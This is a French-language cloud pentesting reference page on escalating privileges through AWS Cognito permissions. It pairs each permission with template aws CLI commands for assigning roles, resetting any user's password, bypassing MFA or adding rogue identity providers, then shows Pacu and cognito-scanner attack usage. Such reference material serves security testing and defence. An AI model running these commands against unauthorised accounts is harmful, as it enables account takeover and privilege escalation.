AWS - Cognito Privesc

Reading time: 13 minutes

Cognito

Pour plus d'informations sur Cognito, consultez :

AWS - Cognito Enum

Récupération des credentials depuis Identity Pool

Comme Cognito peut accorder des IAM role credentials à la fois aux authenticated et aux unauthenticated users, si vous localisez l'Identity Pool ID d'une application (il devrait être codé en dur dedans) vous pouvez obtenir de nouveaux credentials et donc une privesc (dans un compte AWS où vous n'aviez probablement aucune credential auparavant).

Pour plus d'informations consultez cette page.

Impact potentiel : privesc direct vers le service role attaché aux unauth users (et probablement vers celui attaché aux auth users).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Avec cette permission, vous pouvez grant any cognito role aux authenticated/unauthenticated users de l'application cognito.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Si l'application cognito n'a pas les utilisateurs non authentifiés activés, il se peut que vous ayez également besoin de la permission cognito-identity:UpdateIdentityPool pour l'activer.

Impact potentiel : Privesc direct sur n'importe quel cognito role.

cognito-identity:update-identity-pool

Un attaquant disposant de cette permission pourrait, par exemple, configurer un Cognito User Pool sous son contrôle ou tout autre identity provider où il peut se connecter comme moyen d'accéder à ce Cognito Identity Pool. Ensuite, il suffirait de se connecter sur ce fournisseur d'identité pour lui permettre d'accéder au rôle authentifié configuré dans l'Identity Pool.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Il est aussi possible d'abuser de cette permission pour autoriser basic auth:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Impact potentiel: Compromettre le IAM role authenticated configuré dans l'identity pool.

cognito-idp:AdminAddUserToGroup

Cette permission permet de ajouter un utilisateur Cognito à un groupe Cognito, par conséquent un attaquant pourrait abuser de cette permission pour ajouter un utilisateur sous son contrôle à d'autres groupes avec des privilèges meilleurs ou des IAM roles différents:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Impact potentiel : Privesc vers d'autres groupes Cognito et rôles IAM attachés aux User Pool Groups.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Un attaquant disposant de ces autorisations pourrait créer/mettre à jour des groupes avec tous les rôles IAM pouvant être utilisés par un Cognito Identity Provider compromis et ajouter un utilisateur compromis au groupe, accédant à tous ces rôles :

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Impact potentiel: Privesc vers d'autres rôles IAM Cognito.

cognito-idp:AdminConfirmSignUp

Cette permission permet de vérifier une inscription. Par défaut, n'importe qui peut s'inscrire aux applications Cognito ; si cela est laissé activé, un utilisateur pourrait créer un compte avec n'importe quelles données et le vérifier avec cette permission.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Impact potentiel : Élévation de privilèges indirecte vers le rôle IAM de l'identity pool pour les utilisateurs authentifiés si vous pouvez enregistrer un nouvel utilisateur. Élévation de privilèges indirecte vers d'autres fonctionnalités de l'application permettant de confirmer n'importe quel compte.

cognito-idp:AdminCreateUser

Cette autorisation permettrait à un attaquant de créer un nouvel utilisateur dans le user pool. Le nouvel utilisateur est créé activé, mais devra changer son mot de passe.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Impact potentiel : Privesc direct sur l'identity pool IAM role pour les utilisateurs authentifiés. Privesc indirect vers d'autres fonctionnalités de l'application pouvant permettre la création de n'importe quel utilisateur

cognito-idp:AdminEnableUser

Cette permission peut aider dans un scénario très limite où un attaquant a trouvé les identifiants d'un utilisateur désactivé et a besoin de le réactiver.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Impact potentiel : privesc indirect vers le rôle IAM du identity pool pour les utilisateurs authentifiés et les permissions de l'utilisateur si l'attaquant disposait des credentials d'un utilisateur désactivé.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Cette permission permet de se connecter avec la method ADMIN_USER_PASSWORD_AUTH. Pour plus d'informations, suivez le lien.

cognito-idp:AdminSetUserPassword

Cette permission permettrait à un attaquant de modifier le mot de passe de n'importe quel utilisateur, lui permettant de se faire passer pour n'importe quel utilisateur (qui n'a pas MFA activé).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Impact potentiel: Privesc direct vers potentiellement n'importe quel utilisateur, donc accès à tous les groupes dont chaque utilisateur est membre et accès au Identity Pool authenticated IAM role.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Un attaquant pourrait potentiellement abuser de cette permission pour définir un téléphone mobile sous son contrôle comme SMS MFA of a user.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Similaire à la précédente, cette permission peut être utilisée pour définir les préférences MFA d'un utilisateur afin de bypass la protection MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Similaire au précédent, cette permission peut être utilisée pour définir les préférences MFA d'un pool d'utilisateurs afin de contourner la protection MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Il est également possible de mettre à jour le user pool pour modifier la politique MFA. Check cli here.

Impact potentiel : Privesc indirect vers potentiellement n'importe quel utilisateur dont l'attaquant connaît les identifiants, ce qui pourrait permettre de contourner la protection MFA.

cognito-idp:AdminUpdateUserAttributes

Un attaquant disposant de cette permission pourrait modifier l'adresse e-mail, le numéro de téléphone ou tout autre attribut d'un utilisateur sous son contrôle pour tenter d'obtenir davantage de privilèges dans une application sous-jacente.
Cela permet de modifier une adresse e-mail ou un numéro de téléphone et de les marquer comme vérifiés.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Impact potentiel : Potentiel privesc indirect dans l'application sous-jacente utilisant Cognito User Pool qui accorde des privilèges en fonction des attributs utilisateur.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Un attaquant disposant de cette permission pourrait créer un nouveau User Pool Client moins restreint que les clients de pool déjà existants. Par exemple, le nouveau client pourrait autoriser n'importe quel type de méthode d'authentification, ne pas avoir de secret, avoir la révocation des tokens désactivée, permettre aux tokens d'être valables plus longtemps...

La même chose peut être faite si, au lieu de créer un nouveau client, un client existant est modifié.

Dans la command line (ou le update one) vous pouvez voir toutes les options, consultez-les !

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Impact potentiel : Privesc indirect potentiel pour l'utilisateur autorisé de l'Identity Pool utilisé par le User Pool en créant un nouveau client qui assouplit les mesures de sécurité et permet à un attaquant de se connecter avec un utilisateur qu'il a pu créer.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Un attaquant pourrait abuser de cette permission pour créer des utilisateurs en téléversant un CSV contenant de nouveaux utilisateurs.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(Dans le cas où vous créez un nouveau import job vous pourriez aussi avoir besoin de la permission iam passrole, je ne l'ai pas encore testée).

Impact potentiel : Privesc direct vers l'identity pool IAM role pour les utilisateurs authentifiés. Privesc indirect vers d'autres fonctionnalités de l'application pouvant créer n'importe quel utilisateur.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Un attaquant pourrait créer un nouveau fournisseur d'identité pour ensuite pouvoir se connecter via ce fournisseur.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Potential Impact : Privesc direct au rôle IAM de l'identity pool pour les utilisateurs authentifiés. Privesc indirect vers d'autres fonctionnalités de l'application pouvant créer n'importe quel utilisateur.

cognito-sync:* Analyse

C'est une permission très courante par défaut dans les rôles des Cognito Identity Pools. Même si un wildcard dans les permissions a toujours l'air mauvais (surtout venant d'AWS), les permissions données ne sont pas très utiles du point de vue d'un attaquant.

Cette permission permet de lire des informations d'utilisation des Identity Pools et des Identity IDs à l'intérieur des Identity Pools (ce qui n'est pas une information sensible).
Les Identity IDs peuvent avoir des Datasets qui leur sont assignés, qui contiennent des informations sur les sessions (AWS les définit comme une partie sauvegardée). Il est possible que cela contienne une forme d'information sensible (mais la probabilité est assez faible). Vous pouvez trouver sur la page d'énumération comment accéder à cette information.

Un attaquant pourrait aussi utiliser ces permissions pour s'abonner à un Cognito stream qui publie des changements sur ces Datasets ou pour déclencher une lambda qui se déclenche sur des cognito events. Je n'ai pas vu cela être utilisé, et je n'attendrais pas d'informations sensibles ici, mais ce n'est pas impossible.

Outils automatiques

• Pacu, le framework d'exploitation AWS, inclut désormais les modules "cognito__enum" et "cognito__attack" qui automatisent l'énumération de toutes les ressources Cognito d'un compte et signalent les configurations faibles, les attributs utilisateur utilisés pour le contrôle d'accès, etc., et automatisent aussi la création d'utilisateurs (y compris le support MFA) et l'escalade de privilèges basée sur des attributs personnalisés modifiables, des identity pool credentials utilisables, des rôles assumables dans les id tokens, etc.

Pour une description des fonctions des modules, voir la partie 2 de l'article de blog. Pour les instructions d'installation, voir la page principale Pacu.

Utilisation

Exemple d'utilisation de cognito__attack pour tenter la création d'utilisateur et tous les vecteurs de privesc contre un identity pool donné et un user pool client :

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Exemple d'utilisation de cognito__enum pour collecter tous les user pools, user pool clients, identity pools, users, etc. visibles dans le compte AWS actuel :

Pacu (new:test) > run cognito__enum

• Cognito Scanner est un outil CLI en python qui implémente différentes attaques sur Cognito, y compris une élévation de privilèges (privesc).

Installation

$ pip install cognito-scanner

Utilisation

$ cognito-scanner --help

Pour plus d'informations, consultez https://github.com/padok-team/cognito-scanner